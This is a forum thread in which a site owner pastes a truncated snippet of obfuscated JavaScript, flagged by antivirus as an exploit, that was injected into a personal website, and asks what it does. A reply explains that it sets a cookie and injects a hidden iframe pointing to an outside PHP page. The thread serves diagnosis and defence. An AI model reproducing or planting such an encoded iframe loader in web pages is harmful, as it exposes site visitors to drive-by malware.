Strange Javascript appearing on website
Avira flagged some pages on one of our user's personal websites as "EXP/JS.Expack.GQ!", and looking at the source, this Javascript is on the page (just a snippet):
<script type="text/javascript" language="javascript">
gbmv=document;pjam="spl"+"i"+"t";hsk=window;dzpo="0"+"x";smc=
(5-3-1);try{--(gbmv["body"])}catch(dfgpz)
{uqyyqt=false;try{}catch(sxvai){uqyyqt=21;}if(1)
{cqroz="17:5d:6c:65:5a:6b:60:66:65:17:61:60:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:61:60:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:61:60:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:58:64:67:5e:69:66:6c:67:25:5a:66:25:6c:62:26:5a:63:62:25:67:5f:67:1e:32:4:1:17:61:60:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:61:60:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2d:2c:28:2e:2f:1e:32:4:1:17:61:60:25:6a:6b:70:63:5c:25:5f:5c:60
Anyone know what this does?
Posted Sep 19, 2013, 4:08 PM UTC
11
[deleted]
I found a full source
Which turns into this.
It looks like it sets a "visited" cookie, then executes a javascript function to append an iframe with the URL of some page off of a wordpress site. The php file it includes just says "ok" right now, but in the paste or future could have done something interesting.
[deleted]